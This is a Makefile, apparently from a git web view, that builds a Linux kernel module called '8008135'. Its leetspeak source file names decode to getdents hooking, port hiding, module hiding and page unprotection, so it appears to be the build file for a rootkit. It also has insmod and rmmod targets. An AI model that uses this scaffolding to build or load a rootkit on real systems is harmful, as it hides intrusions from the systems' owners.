8008135/Makefile

45 lines
889 B
Makefile
Raw Normal View History

# Module name
MNAME := 8008135
2019-11-15 15:15:09 +01:00
# Build
MODULEDIR := /lib/modules/$(shell uname -r)
BUILDDIR := $(MODULEDIR)/build
KERNELDIR := $(MODULEDIR)/kernel
# Source files
SRCS_S := src
LIBS_S := src/libs
INCL_S := src/include
# Header files
SRCS_H := $(PWD)/$(SRCS_S)/headers
LIBS_H := $(PWD)/$(LIBS_S)/headers
INCL_H := $(PWD)/$(INCL_S)/headers
obj-m += $(MNAME).o
# Core
$(MNAME)-y += src/$(MNAME).o
2019-12-08 02:10:48 +01:00
$(MNAME)-y += src/637d3n75.o
$(MNAME)-y += src/50ck3t.o
2019-12-08 02:10:48 +01:00
$(MNAME)-y += src/h1d3p0r7.o
$(MNAME)-y += src/h1d3m0dul3.o
$(MNAME)-y += src/p463unpr073c7.o
$(MNAME)-y += src/5y563n.o
# Includes for header files etc
ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H) -Wall
all:
$(shell $(SRCS_S)/cr3473_5y563n.sh)
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
load:
insmod $(MNAME).ko
unload:
rmmod $(MNAME)
2019-11-15 15:15:09 +01:00
clean:
-rm $(SRCS_H)/5y563n.h
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean